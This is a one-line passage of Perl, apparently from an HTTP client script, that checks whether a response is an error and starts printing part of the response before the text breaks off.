if ($response->is_error()) {printf "%s\n", $response->